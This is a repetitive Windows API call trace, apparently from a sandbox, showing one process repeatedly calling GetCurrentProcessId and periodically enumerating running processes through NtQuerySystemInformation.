GetCurrentProcessId () returned 0x10c0 [0238.769] GetCurrentProcessId () returned 0x10c0 [0238.769] GetCurrentProcessId () returned 0x10c0 [0238.769] GetCurrentProcessId () returned 0x10c0 [0238.769] GetCurrentProcessId () returned 0x10c0 [0238.769] GetCurrentProcessId () returned 0x10c0 [0238.769] GetCurrentProcessId () returned 0x10c0 [0238.769] GetCurrentProcessId () returned 0x10c0 [0238.769] GetCurrentProcessId () returned 0x10c0 [0238.769] GetCurrentProcessId () returned 0x10c0 [0238.769] GetCurrentProcessId () returned 0x10c0 [0238.770] GetCurrentProcessId () returned 0x10c0 [0238.770] GetCurrentProcessId () returned 0x10c0 [0238.770] GetCurrentProcessId () returned 0x10c0 [0238.770] GetCurrentProcessId () returned 0x10c0 [0238.770] GetCurrentProcessId () returned 0x10c0 [0238.770] GetCurrentProcessId () returned 0x10c0 [0238.770] GetCurrentProcessId () returned 0x10c0 [0238.770] GetCurrentProcessId () returned 0x10c0 [0238.770] GetCurrentProcessId () returned 0x10c0 [0238.770] GetCurrentProcessId () returned 0x10c0 [0238.770] GetCurrentProcessId () returned 0x10c0 [0238.770] GetCurrentProcessId () returned 0x10c0 [0238.770] GetCurrentProcessId () returned 0x10c0 [0238.770] GetCurrentProcessId () returned 0x10c0 [0238.770] GetCurrentProcessId () returned 0x10c0 [0238.770] GetCurrentProcessId () returned 0x10c0 [0238.770] GetCurrentProcessId () returned 0x10c0 [0238.770] GetCurrentProcessId () returned 0x10c0 [0238.770] GetCurrentProcessId () returned 0x10c0 [0238.770] GetCurrentProcessId () returned 0x10c0 [0238.770] GetCurrentProcessId () returned 0x10c0 [0238.770] GetCurrentProcessId () returned 0x10c0 [0238.770] GetCurrentProcessId () returned 0x10c0 [0238.770] GetCurrentProcessId () returned 0x10c0 [0238.770] GetCurrentProcessId () returned 0x10c0 [0238.770] GetCurrentProcessId () returned 0x10c0 [0238.770] GetCurrentProcessId () returned 0x10c0 [0238.770] GetCurrentProcessId () returned 0x10c0 [0238.770] GetCurrentProcessId () returned 0x10c0 [0238.770] GetCurrentProcessId () returned 0x10c0 [0238.771] GetCurrentProcessId () returned 0x10c0 [0238.771] GetCurrentProcessId () returned 0x10c0 [0238.771] GetCurrentProcessId () returned 0x10c0 [0238.771] GetCurrentProcessId () returned 0x10c0 [0238.771] GetCurrentProcessId () returned 0x10c0 [0238.771] GetCurrentProcessId () returned 0x10c0 [0238.771] GetCurrentProcessId () returned 0x10c0 [0238.771] GetCurrentProcessId () returned 0x10c0 [0238.771] GetCurrentProcessId () returned 0x10c0 [0238.771] GetCurrentProcessId () returned 0x10c0 [0238.771] GetCurrentProcessId () returned 0x10c0 [0238.771] GetCurrentProcessId () returned 0x10c0 [0239.411] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1db60) returned 0x0 [0239.413] GetCurrentProcessId () returned 0x10c0 [0239.413] GetCurrentProcessId () returned 0x10c0 [0239.413] GetCurrentProcessId () returned 0x10c0 [0239.413] GetCurrentProcessId () returned 0x10c0 [0239.413] GetCurrentProcessId () returned 0x10c0 [0239.413] GetCurrentProcessId () returned 0x10c0 [0239.413] GetCurrentProcessId () returned 0x10c0 [0239.413] GetCurrentProcessId () returned 0x10c0 [0239.413] GetCurrentProcessId () returned 0x10c0 [0239.413] GetCurrentProcessId () returned 0x10c0 [0239.413] GetCurrentProcessId () returned 0x10c0 [0239.413] GetCurrentProcessId () returned 0x10c0 [0239.413] GetCurrentProcessId () returned 0x10c0 [0239.413] GetCurrentProcessId () returned 0x10c0 [0239.413] GetCurrentProcessId () returned 0x10c0 [0239.413] GetCurrentProcessId () returned 0x10c0 [0239.413] GetCurrentProcessId () returned 0x10c0 [0239.413] GetCurrentProcessId () returned 0x10c0 [0239.414] GetCurrentProcessId () returned 0x10c0 [0239.414] GetCurrentProcessId () returned 0x10c0 [0239.414] GetCurrentProcessId () returned 0x10c0 [0239.414] GetCurrentProcessId () returned 0x10c0 [0239.414] GetCurrentProcessId () returned 0x10c0 [0239.414] GetCurrentProcessId () returned 0x10c0 [0239.414] GetCurrentProcessId () returned 0x10c0 [0239.414] GetCurrentProcessId () returned 0x10c0 [0239.414] GetCurrentProcessId () returned 0x10c0 [0239.414] GetCurrentProcessId () returned 0x10c0 [0239.414] GetCurrentProcessId () returned 0x10c0 [0239.414] GetCurrentProcessId () returned 0x10c0 [0239.414] GetCurrentProcessId () returned 0x10c0 [0239.414] GetCurrentProcessId () returned 0x10c0 [0239.414] GetCurrentProcessId () returned 0x10c0 [0239.414] GetCurrentProcessId () returned 0x10c0 [0239.414] GetCurrentProcessId () returned 0x10c0 [0239.414] GetCurrentProcessId () returned 0x10c0 [0239.414] GetCurrentProcessId () returned 0x10c0 [0239.414] GetCurrentProcessId () returned 0x10c0 [0239.414] GetCurrentProcessId () returned 0x10c0 [0239.414] GetCurrentProcessId () returned 0x10c0 [0239.414] GetCurrentProcessId () returned 0x10c0 [0239.414] GetCurrentProcessId () returned 0x10c0 [0239.414] GetCurrentProcessId () returned 0x10c0 [0239.414] GetCurrentProcessId () returned 0x10c0 [0239.414] GetCurrentProcessId () returned 0x10c0 [0239.414] GetCurrentProcessId () returned 0x10c0 [0239.414] GetCurrentProcessId () returned 0x10c0 [0239.414] GetCurrentProcessId () returned 0x10c0 [0239.414] GetCurrentProcessId () returned 0x10c0 [0239.415] GetCurrentProcessId () returned 0x10c0 [0239.415] GetCurrentProcessId () returned 0x10c0 [0239.415] GetCurrentProcessId () returned 0x10c0 [0239.415] GetCurrentProcessId () returned 0x10c0 [0239.415] GetCurrentProcessId () returned 0x10c0 [0239.415] GetCurrentProcessId () returned 0x10c0 [0239.415] GetCurrentProcessId () returned 0x10c0 [0239.415] GetCurrentProcessId () returned 0x10c0 [0239.415] GetCurrentProcessId () returned 0x10c0 [0239.415] GetCurrentProcessId () returned 0x10c0 [0239.415] GetCurrentProcessId () returned 0x10c0 [0239.415] GetCurrentProcessId () returned 0x10c0 [0239.415] GetCurrentProcessId () returned 0x10c0 [0239.415] GetCurrentProcessId () returned 0x10c0 [0239.415] GetCurrentProcessId () returned 0x10c0 [0239.415] GetCurrentProcessId () returned 0x10c0 [0239.415] GetCurrentProcessId () returned 0x10c0 [0239.415] GetCurrentProcessId () returned 0x10c0 [0239.415] GetCurrentProcessId () returned 0x10c0 [0239.415] GetCurrentProcessId () returned 0x10c0 [0239.415] GetCurrentProcessId () returned 0x10c0 [0239.415] GetCurrentProcessId () returned 0x10c0 [0239.415] GetCurrentProcessId () returned 0x10c0 [0239.415] GetCurrentProcessId () returned 0x10c0 [0239.415] GetCurrentProcessId () returned 0x10c0 [0239.415] GetCurrentProcessId () returned 0x10c0 [0239.415] GetCurrentProcessId () returned 0x10c0 [0239.415] GetCurrentProcessId () returned 0x10c0 [0239.415] GetCurrentProcessId () returned 0x10c0 [0239.415] GetCurrentProcessId () returned 0x10c0 [0239.416] GetCurrentProcessId () returned 0x10c0 [0239.416] GetCurrentProcessId () returned 0x10c0 [0239.416] GetCurrentProcessId () returned 0x10c0 [0239.416] GetCurrentProcessId () returned 0x10c0 [0239.416] GetCurrentProcessId () returned 0x10c0 [0239.416] GetCurrentProcessId () returned 0x10c0 [0239.416] GetCurrentProcessId () returned 0x10c0 [0239.416] GetCurrentProcessId () returned 0x10c0 [0239.416] GetCurrentProcessId () returned 0x10c0 [0239.416] GetCurrentProcessId () returned 0x10c0 [0239.416] GetCurrentProcessId () returned 0x10c0 [0239.416] GetCurrentProcessId () returned 0x10c0 [0239.416] GetCurrentProcessId () returned 0x10c0 [0239.416] GetCurrentProcessId () returned 0x10c0 [0239.416] GetCurrentProcessId () returned 0x10c0 [0239.416] GetCurrentProcessId () returned 0x10c0 [0239.416] GetCurrentProcessId () returned 0x10c0 [0239.416] GetCurrentProcessId () returned 0x10c0 [0239.416] GetCurrentProcessId () returned 0x10c0 [0239.416] GetCurrentProcessId () returned 0x10c0 [0239.416] GetCurrentProcessId () returned 0x10c0 [0239.416] GetCurrentProcessId () returned 0x10c0 [0239.416] GetCurrentProcessId () returned 0x10c0 [0239.416] GetCurrentProcessId () returned 0x10c0 [0239.416] GetCurrentProcessId () returned 0x10c0 [0239.416] GetCurrentProcessId () returned 0x10c0 [0239.416] GetCurrentProcessId () returned 0x10c0 [0239.416] GetCurrentProcessId () returned 0x10c0 [0239.416] GetCurrentProcessId () returned 0x10c0 [0239.416] GetCurrentProcessId () returned 0x10c0 [0239.417] GetCurrentProcessId () returned 0x10c0 [0239.417] GetCurrentProcessId () returned 0x10c0 [0239.417] GetCurrentProcessId () returned 0x10c0 [0240.037] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1db60) returned 0x0 [0240.042] GetCurrentProcessId () returned 0x10c0 [0240.042] GetCurrentProcessId () returned 0x10c0 [0240.042] GetCurrentProcessId () returned 0x10c0 [0240.042] GetCurrentProcessId () returned 0x10c0 [0240.042] GetCurrentProcessId () returned 0x10c0 [0240.042] GetCurrentProcessId () returned 0x10c0 [0240.042] GetCurrentProcessId () returned 0x10c0 [0240.042] GetCurrentProcessId () returned 0x10c0 [0240.042] GetCurrentProcessId () returned 0x10c0 [0240.042] GetCurrentProcessId () returned 0x10c0 [0240.042] GetCurrentProcessId () returned 0x10c0 [0240.042] GetCurrentProcessId () returned 0x10c0 [0240.042] GetCurrentProcessId () returned 0x10c0 [0240.042] GetCurrentProcessId () returned 0x10c0 [0240.042] GetCurrentProcessId () returned 0x10c0 [0240.042] GetCurrentProcessId () returned 0x10c0 [0240.042] GetCurrentProcessId () returned 0x10c0 [0240.042] GetCurrentProcessId () returned 0x10c0 [0240.042] GetCurrentProcessId () returned 0x10c0 [0240.042] GetCurrentProcessId () returned 0x10c0 [0240.042] GetCurrentProcessId () returned 0x10c0 [0240.042] GetCurrentProcessId () returned 0x10c0 [0240.043] GetCurrentProcessId () returned 0x10c0 [0240.043] GetCurrentProcessId () returned 0x10c0 [0240.444] GetCurrentProcessId () returned 0x10c0 [0240.444] GetCurrentProcessId () returned 0x10c0 [0240.444] GetCurrentProcessId () returned 0x10c0 [0240.444] GetCurrentProcessId () returned 0x10c0 [0240.444] GetCurrentProcessId () returned 0x10c0 [0240.444] GetCurrentProcessId () returned 0x10c0 [0240.444] GetCurrentProcessId () returned 0x10c0 [0240.444] GetCurrentProcessId () returned 0x10c0 [0240.444] GetCurrentProcessId () returned 0x10c0 [0240.444] GetCurrentProcessId () returned 0x10c0 [0240.444] GetCurrentProcessId () returned 0x10c0 [0240.444] GetCurrentProcessId () returned 0x10c0 [0240.444] GetCurrentProcessId () returned 0x10c0 [0240.444] GetCurrentProcessId () returned 0x10c0 [0240.444] GetCurrentProcessId () returned 0x10c0 [0240.444] GetCurrentProcessId () returned 0x10c0 [0240.444] GetCurrentProcessId () returned 0x10c0 [0240.444] GetCurrentProcessId () returned 0x10c0 [0240.444] GetCurrentProcessId () returned 0x10c0 [0240.444] GetCurrentProcessId () returned 0x10c0 [0240.444] GetCurrentProcessId () returned 0x10c0 [0240.445] GetCurrentProcessId () returned 0x10c0 [0240.445] GetCurrentProcessId () returned 0x10c0 [0240.445] GetCurrentProcessId () returned 0x10c0 [0240.445] GetCurrentProcessId () returned 0x10c0 [0240.445] GetCurrentProcessId () returned 0x10c0 [0240.445] GetCurrentProcessId () returned 0x10c0 [0240.445] GetCurrentProcessId () returned 0x10c0 [0240.445] GetCurrentProcessId () returned 0x10c0 [0240.445] GetCurrentProcessId () returned 0x10c0 [0240.445] GetCurrentProcessId () returned 0x10c0 [0240.445] GetCurrentProcessId () returned 0x10c0 [0240.445] GetCurrentProcessId () returned 0x10c0 [0240.445] GetCurrentProcessId () returned 0x10c0 [0240.445] GetCurrentProcessId () returned 0x10c0 [0240.445] GetCurrentProcessId () returned 0x10c0 [0240.445] GetCurrentProcessId () returned 0x10c0 [0240.445] GetCurrentProcessId () returned 0x10c0 [0240.445] GetCurrentProcessId () returned 0x10c0 [0240.445] GetCurrentProcessId () returned 0x10c0 [0240.445] GetCurrentProcessId () returned 0x10c0 [0240.445] GetCurrentProcessId () returned 0x10c0 [0240.445] GetCurrentProcessId () returned 0x10c0 [0240.445] GetCurrentProcessId () returned 0x10c0 [0240.445] GetCurrentProcessId () returned 0x10c0 [0240.445] GetCurrentProcessId () returned 0x10c0 [0240.445] GetCurrentProcessId () returned 0x10c0 [0240.445] GetCurrentProcessId () returned 0x10c0 [0240.445] GetCurrentProcessId () returned 0x10c0 [0240.445] GetCurrentProcessId () returned 0x10c0 [0240.445] GetCurrentProcessId () returned 0x10c0 [0240.445] GetCurrentProcessId () returned 0x10c0 [0240.445] GetCurrentProcessId () returned 0x10c0 [0240.445] GetCurrentProcessId () returned 0x10c0 [0240.446] GetCurrentProcessId () returned 0x10c0 [0240.446] GetCurrentProcessId () returned 0x10c0 [0240.446] GetCurrentProcessId () returned 0x10c0 [0240.446] GetCurrentProcessId () returned 0x10c0 [0240.446] GetCurrentProcessId () returned 0x10c0 [0240.446] GetCurrentProcessId () returned 0x10c0 [0240.446] GetCurrentProcessId () returned 0x10c0 [0240.446] GetCurrentProcessId () returned 0x10c0 [0240.446] GetCurrentProcessId () returned 0x10c0 [0240.446] GetCurrentProcessId () returned 0x10c0 [0240.446] GetCurrentProcessId () returned 0x10c0 [0240.446] GetCurrentProcessId () returned 0x10c0 [0240.446] GetCurrentProcessId () returned 0x10c0 [0240.446] GetCurrentProcessId () returned 0x10c0 [0240.446] GetCurrentProcessId () returned 0x10c0 [0240.446] GetCurrentProcessId () returned 0x10c0 [0240.446] GetCurrentProcessId () returned 0x10c0 [0240.446] GetCurrentProcessId () returned 0x10c0 [0240.446] GetCurrentProcessId () returned 0x10c0 [0240.446] GetCurrentProcessId () returned 0x10c0 [0240.446] GetCurrentProcessId () returned 0x10c0 [0240.446] GetCurrentProcessId () returned 0x10c0 [0240.446] GetCurrentProcessId () returned 0x10c0 [0240.446] GetCurrentProcessId () returned 0x10c0 [0240.446] GetCurrentProcessId () returned 0x10c0 [0240.446] GetCurrentProcessId () returned 0x10c0 [0240.446] GetCurrentProcessId () returned 0x10c0 [0240.446] GetCurrentProcessId () returned 0x10c0 [0240.446] GetCurrentProcessId () returned 0x10c0 [0240.446] GetCurrentProcessId () returned 0x10c0 [0240.446] GetCurrentProcessId () returned 0x10c0 [0240.447] GetCurrentProcessId () returned 0x10c0 [0240.447] GetCurrentProcessId () returned 0x10c0 [0240.447] GetCurrentProcessId () returned 0x10c0 [0240.958] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1db60) returned 0x0 [0240.966] GetCurrentProcessId () returned 0x10c0 [0240.966] GetCurrentProcessId () returned 0x10c0 [0240.966] GetCurrentProcessId () returned 0x10c0 [0240.966] GetCurrentProcessId () returned 0x10c0 [0240.966] GetCurrentProcessId () returned 0x10c0 [0240.966] GetCurrentProcessId () returned 0x10c0 [0240.966] GetCurrentProcessId () returned 0x10c0 [0240.966] GetCurrentProcessId () returned 0x10c0 [0240.966] GetCurrentProcessId () returned 0x10c0 [0240.966] GetCurrentProcessId () returned 0x10c0 [0240.966] GetCurrentProcessId () returned 0x10c0 [0240.966] GetCurrentProcessId () returned 0x10c0 [0240.966] GetCurrentProcessId () returned 0x10c0 [0240.967] GetCurrentProcessId () returned 0x10c0 [0240.967] GetCurrentProcessId () returned 0x10c0 [0240.967] GetCurrentProcessId () returned 0x10c0 [0240.967] GetCurrentProcessId () returned 0x10c0 [0240.967] GetCurrentProcessId () returned 0x10c0 [0240.967] GetCurrentProcessId () returned 0x10c0 [0240.967] GetCurrentProcessId () returned 0x10c0 [0240.967] GetCurrentProcessId () returned 0x10c0 [0240.967] GetCurrentProcessId () returned 0x10c0 [0240.967] GetCurrentProcessId () returned 0x10c0 [0240.967] GetCurrentProcessId () returned 0x10c0 [0240.967] GetCurrentProcessId () returned 0x10c0 [0240.967] GetCurrentProcessId () returned 0x10c0 [0240.967] GetCurrentProcessId () returned 0x10c0 [0240.967] GetCurrentProcessId () returned 0x10c0 [0240.967] GetCurrentProcessId () returned 0x10c0 [0240.967] GetCurrentProcessId () returned 0x10c0 [0240.967] GetCurrentProcessId () returned 0x10c0 [0240.967] GetCurrentProcessId () returned 0x10c0 [0240.967] GetCurrentProcessId () returned 0x10c0 [0240.967] GetCurrentProcessId () returned 0x10c0 [0240.967] GetCurrentProcessId () returned 0x10c0 [0240.967] GetCurrentProcessId () returned 0x10c0 [0240.967] GetCurrentProcessId () returned 0x10c0 [0240.967] GetCurrentProcessId () returned 0x10c0 [0240.967] GetCurrentProcessId () returned 0x10c0 [0240.967] GetCurrentProcessId () returned 0x10c0 [0240.967] GetCurrentProcessId () returned 0x10c0 [0240.967] GetCurrentProcessId () returned 0x10c0 [0240.968] GetCurrentProcessId () returned 0x10c0 [0240.968] GetCurrentProcessId () returned 0x10c0 [0240.968] GetCurrentProcessId () returned 0x10c0 [0240.968] GetCurrentProcessId () returned 0x10c0 [0240.968] GetCurrentProcessId () returned 0x10c0 [0240.968] GetCurrentProcessId () returned 0x10c0 [0240.968] GetCurrentProcessId () returned 0x10c0 [0240.968] GetCurrentProcessId () returned 0x10c0 [0240.968] GetCurrentProcessId () returned 0x10c0 [0240.968] GetCurrentProcessId () returned 0x10c0 [0240.968] GetCurrentProcessId () returned 0x10c0 [0240.968] GetCurrentProcessId () returned 0x10c0 [0240.968] GetCurrentProcessId () returned 0x10c0 [0240.968] GetCurrentProcessId () returned 0x10c0 [0240.968] GetCurrentProcessId () returned 0x10c0 [0240.968] GetCurrentProcessId () returned 0x10c0 [0240.968] GetCurrentProcessId () returned 0x10c0 [0240.968] GetCurrentProcessId () returned 0x10c0 [0240.968] GetCurrentProcessId () returned 0x10c0 [0240.968] GetCurrentProcessId () returned 0x10c0 [0240.968] GetCurrentProcessId () returned 0x10c0 [0240.968] GetCurrentProcessId () returned 0x10c0 [0240.968] GetCurrentProcessId () returned 0x10c0 [0240.968] GetCurrentProcessId () returned 0x10c0 [0240.968] GetCurrentProcessId () returned 0x10c0 [0240.968] GetCurrentProcessId () returned 0x10c0 [0240.968] GetCurrentProcessId () returned 0x10c0 [0240.968] GetCurrentProcessId () returned 0x10c0 [0240.968] GetCurrentProcessId () returned 0x10c0 [0240.968] GetCurrentProcessId () returned 0x10c0 [0240.969] GetCurrentProcessId () returned 0x10c0 [0240.969] GetCurrentProcessId () returned 0x10c0 [0240.969] GetCurrentProcessId () returned 0x10c0 [0240.969] GetCurrentProcessId () returned 0x10c0 [0240.969] GetCurrentProcessId () returned 0x10c0 [0240.969] GetCurrentProcessId () returned 0x10c0 [0240.969] GetCurrentProcessId () returned 0x10c0 [0240.969] GetCurrentProcessId () returned 0x10c0 [0240.969] GetCurrentProcessId () returned 0x10c0 [0240.969] GetCurrentProcessId () returned 0x10c0 [0240.969] GetCurrentProcessId () returned 0x10c0 [0240.969] GetCurrentProcessId () returned 0x10c0 [0240.969] GetCurrentProcessId () returned 0x10c0 [0240.969] GetCurrentProcessId () returned 0x10c0 [0240.969] GetCurrentProcessId () returned 0x10c0 [0240.969] GetCurrentProcessId () returned 0x10c0 [0240.969] GetCurrentProcessId () returned 0x10c0 [0240.969] GetCurrentProcessId () returned 0x10c0 [0240.969] GetCurrentProcessId () returned 0x10c0 [0240.969] GetCurrentProcessId () returned 0x10c0 [0240.969] GetCurrentProcessId () returned 0x10c0 [0240.969] GetCurrentProcessId () returned 0x10c0 [0240.969] GetCurrentProcessId () returned 0x10c0 [0240.969] GetCurrentProcessId () returned 0x10c0 [0240.969] GetCurrentProcessId () returned 0x10c0 [0240.969] GetCurrentProcessId () returned 0x10c0 [0240.969] GetCurrentProcessId () returned 0x10c0 [0240.969] GetCurrentProcessId () returned 0x10c0 [0240.969] GetCurrentProcessId () returned 0x10c0 [0240.969] GetCurrentProcessId () returned 0x10c0 [0240.969] GetCurrentProcessId () returned 0x10c0 [0240.969] GetCurrentProcessId () returned 0x10c0 [0240.970] GetCurrentProcessId () returned 0x10c0 [0240.970] GetCurrentProcessId () returned 0x10c0 [0240.970] GetCurrentProcessId () returned 0x10c0 [0240.970] GetCurrentProcessId () returned 0x10c0 [0240.970] GetCurrentProcessId () returned 0x10c0 [0240.970] GetCurrentProcessId () returned 0x10c0 [0240.970] GetCurrentProcessId () returned 0x10c0 [0240.970] GetCurrentProcessId () returned 0x10c0 [0241.517] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1db60) returned 0x0 [0241.525] GetCurrentProcessId () returned 0x10c0 [0241.525] GetCurrentProcessId () returned 0x10c0 [0241.525] GetCurrentProcessId () returned 0x10c0 [0241.525] GetCurrentProcessId () returned 0x10c0 [0241.525] GetCurrentProcessId () returned 0x10c0 [0241.525] GetCurrentProcessId () returned 0x10c0 [0241.525] GetCurrentProcessId () returned 0x10c0 [0241.525] GetCurrentProcessId () returned 0x10c0 [0241.525] GetCurrentProcessId () returned 0x10c0 [0241.526] GetCurrentProcessId () returned 0x10c0 [0241.526] GetCurrentProcessId () returned 0x10c0 [0241.526] GetCurrentProcessId () returned 0x10c0 [0241.526] GetCurrentProcessId () returned 0x10c0 [0241.526] GetCurrentProcessId () returned 0x10c0 [0241.526] GetCurrentProcessId () returned 0x10c0 [0241.526] GetCurrentProcessId () returned 0x10c0 [0241.526] GetCurrentProcessId () returned 0x10c0 [0241.526] GetCurrentProcessId () returned 0x10c0 [0241.526] GetCurrentProcessId () returned 0x10c0 [0241.526] GetCurrentProcessId () returned 0x10c0 [0241.526] GetCurrentProcessId () returned 0x10c0 [0241.526] GetCurrentProcessId () returned 0x10c0 [0241.526] GetCurrentProcessId () returned 0x10c0 [0241.526] GetCurrentProcessId () returned 0x10c0 [0241.526] GetCurrentProcessId () returned 0x10c0 [0241.526] GetCurrentProcessId () returned 0x10c0 [0241.526] GetCurrentProcessId () returned 0x10c0 [0241.526] GetCurrentProcessId () returned 0x10c0 [0241.526] GetCurrentProcessId () returned 0x10c0 [0241.526] GetCurrentProcessId () returned 0x10c0 [0241.526] GetCurrentProcessId () returned 0x10c0 [0241.526] GetCurrentProcessId () returned 0x10c0 [0241.526] GetCurrentProcessId () returned 0x10c0 [0241.526] GetCurrentProcessId () returned 0x10c0 [0241.526] GetCurrentProcessId () returned 0x10c0 [0241.526] GetCurrentProcessId () returned 0x10c0 [0241.526] GetCurrentProcessId () returned 0x10c0 [0241.526] GetCurrentProcessId () returned 0x10c0 [0241.526] GetCurrentProcessId () returned 0x10c0 [0241.527] GetCurrentProcessId () returned 0x10c0 [0241.527] GetCurrentProcessId () returned 0x10c0 [0241.527] GetCurrentProcessId () returned 0x10c0 [0241.527] GetCurrentProcessId () returned 0x10c0 [0241.527] GetCurrentProcessId () returned 0x10c0 [0241.527] GetCurrentProcessId () returned 0x10c0 [0241.527] GetCurrentProcessId () returned 0x10c0 [0241.527] GetCurrentProcessId () returned 0x10c0 [0241.527] GetCurrentProcessId () returned 0x10c0 [0241.527] GetCurrentProcessId () returned 0x10c0 [0241.527] GetCurrentProcessId () returned 0x10c0 [0241.527] GetCurrentProcessId () returned 0x10c0 [0241.527] GetCurrentProcessId () returned 0x10c0 [0241.527] GetCurrentProcessId () returned 0x10c0 [0241.527] GetCurrentProcessId () returned 0x10c0 [0241.527] GetCurrentProcessId () returned 0x10c0 [0241.527] GetCurrentProcessId () returned 0x10c0 [0241.527] GetCurrentProcessId () returned 0x10c0 [0241.527] GetCurrentProcessId () returned 0x10c0 [0241.527] GetCurrentProcessId () returned 0x10c0 [0241.527] GetCurrentProcessId () returned 0x10c0 [0241.527] GetCurrentProcessId () returned 0x10c0 [0241.527] GetCurrentProcessId () returned 0x10c0 [0241.527] GetCurrentProcessId () returned 0x10c0 [0241.527] GetCurrentProcessId () returned 0x10c0 [0241.527] GetCurrentProcessId () returned 0x10c0 [0241.527] GetCurrentProcessId () returned 0x10c0 [0241.527] GetCurrentProcessId () returned 0x10c0 [0241.527] GetCurrentProcessId () returned 0x10c0 [0241.527] GetCurrentProcessId () returned 0x10c0 [0241.527] GetCurrentProcessId () returned 0x10c0 [0241.528] GetCurrentProcessId () returned 0x10c0 [0241.528] GetCurrentProcessId () returned 0x10c0 [0241.528] GetCurrentProcessId () returned 0x10c0 [0241.528] GetCurrentProcessId () returned 0x10c0 [0241.528] GetCurrentProcessId () returned 0x10c0 [0241.528] GetCurrentProcessId () returned 0x10c0 [0241.528] GetCurrentProcessId () returned 0x10c0 [0241.528] GetCurrentProcessId () returned 0x10c0 [0241.528] GetCurrentProcessId () returned 0x10c0 [0241.528] GetCurrentProcessId () returned 0x10c0 [0241.528] GetCurrentProcessId () returned 0x10c0 [0241.528] GetCurrentProcessId () returned 0x10c0 [0241.528] GetCurrentProcessId () returned 0x10c0 [0241.528] GetCurrentProcessId () returned 0x10c0 [0241.528] GetCurrentProcessId () returned 0x10c0 [0241.528] GetCurrentProcessId () returned 0x10c0 [0241.528] GetCurrentProcessId () returned 0x10c0 [0241.528] GetCurrentProcessId () returned 0x10c0 [0241.528] GetCurrentProcessId () returned 0x10c0 [0241.528] GetCurrentProcessId () returned 0x10c0 [0241.528] GetCurrentProcessId () returned 0x10c0 [0241.528] GetCurrentProcessId () returned 0x10c0 [0241.528] GetCurrentProcessId () returned 0x10c0 [0241.528] GetCurrentProcessId () returned 0x10c0 [0241.528] GetCurrentProcessId () returned 0x10c0 [0241.528] GetCurrentProcessId () returned 0x10c0 [0241.528] GetCurrentProcessId () returned 0x10c0 [0241.528] GetCurrentProcessId () returned 0x10c0 [0241.528] GetCurrentProcessId () returned 0x10c0 [0241.528] GetCurrentProcessId () returned 0x10c0 [0241.528] GetCurrentProcessId () returned 0x10c0 [0241.528] GetCurrentProcessId () returned 0x10c0 [0241.528] GetCurrentProcessId () returned 0x10c0 [0241.529] GetCurrentProcessId () returned 0x10c0 [0241.529] GetCurrentProcessId () returned 0x10c0 [0241.529] GetCurrentProcessId () returned 0x10c0 [0241.529] GetCurrentProcessId () returned 0x10c0 [0241.529] GetCurrentProcessId () returned 0x10c0 [0241.529] GetCurrentProcessId () returned 0x10c0 [0241.529] GetCurrentProcessId () returned 0x10c0 [0241.529] GetCurrentProcessId () returned 0x10c0 [0241.529] GetCurrentProcessId () returned 0x10c0 [0242.089] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1dbb0) returned 0x0 [0242.098] GetCurrentProcessId () returned 0x10c0 [0242.098] GetCurrentProcessId () returned 0x10c0 [0242.098] GetCurrentProcessId () returned 0x10c0 [0242.098] GetCurrentProcessId () returned 0x10c0 [0242.098] GetCurrentProcessId () returned 0x10c0 [0242.098] GetCurrentProcessId () returned 0x10c0 [0242.098] GetCurrentProcessId () returned 0x10c0 [0242.098] GetCurrentProcessId () returned 0x10c0 [0242.098] GetCurrentProcessId () returned 0x10c0 [0242.098] GetCurrentProcessId () returned 0x10c0 [0242.098] GetCurrentProcessId () returned 0x10c0 [0242.098] GetCurrentProcessId () returned 0x10c0 [0242.098] GetCurrentProcessId () returned 0x10c0 [0242.098] GetCurrentProcessId () returned 0x10c0 [0242.098] GetCurrentProcessId () returned 0x10c0 [0242.098] GetCurrentProcessId () returned 0x10c0 [0242.098] GetCurrentProcessId () returned 0x10c0 [0242.099] GetCurrentProcessId () returned 0x10c0 [0242.099] GetCurrentProcessId () returned 0x10c0 [0242.099] GetCurrentProcessId () returned 0x10c0 [0242.099] GetCurrentProcessId () returned 0x10c0 [0242.099] GetCurrentProcessId () returned 0x10c0 [0242.099] GetCurrentProcessId () returned 0x10c0 [0242.099] GetCurrentProcessId () returned 0x10c0 [0242.099] GetCurrentProcessId () returned 0x10c0 [0242.099] GetCurrentProcessId () returned 0x10c0 [0242.099] GetCurrentProcessId () returned 0x10c0 [0242.099] GetCurrentProcessId () returned 0x10c0 [0242.099] GetCurrentProcessId () returned 0x10c0 [0242.099] GetCurrentProcessId () returned 0x10c0 [0242.099] GetCurrentProcessId () returned 0x10c0 [0242.099] GetCurrentProcessId () returned 0x10c0 [0242.099] GetCurrentProcessId () returned 0x10c0 [0242.099] GetCurrentProcessId () returned 0x10c0 [0242.099] GetCurrentProcessId () returned 0x10c0 [0242.099] GetCurrentProcessId () returned 0x10c0 [0242.099] GetCurrentProcessId () returned 0x10c0 [0242.099] GetCurrentProcessId () returned 0x10c0 [0242.099] GetCurrentProcessId () returned 0x10c0 [0242.099] GetCurrentProcessId () returned 0x10c0 [0242.099] GetCurrentProcessId () returned 0x10c0 [0242.099] GetCurrentProcessId () returned 0x10c0 [0242.099] GetCurrentProcessId () returned 0x10c0 [0242.099] GetCurrentProcessId () returned 0x10c0 [0242.099] GetCurrentProcessId () returned 0x10c0 [0242.100] GetCurrentProcessId () returned 0x10c0 [0242.100] GetCurrentProcessId () returned 0x10c0 [0242.100] GetCurrentProcessId () returned 0x10c0 [0242.100] GetCurrentProcessId () returned 0x10c0 [0242.100] GetCurrentProcessId () returned 0x10c0 [0242.100] GetCurrentProcessId () returned 0x10c0 [0242.100] GetCurrentProcessId () returned 0x10c0 [0242.100] GetCurrentProcessId () returned 0x10c0 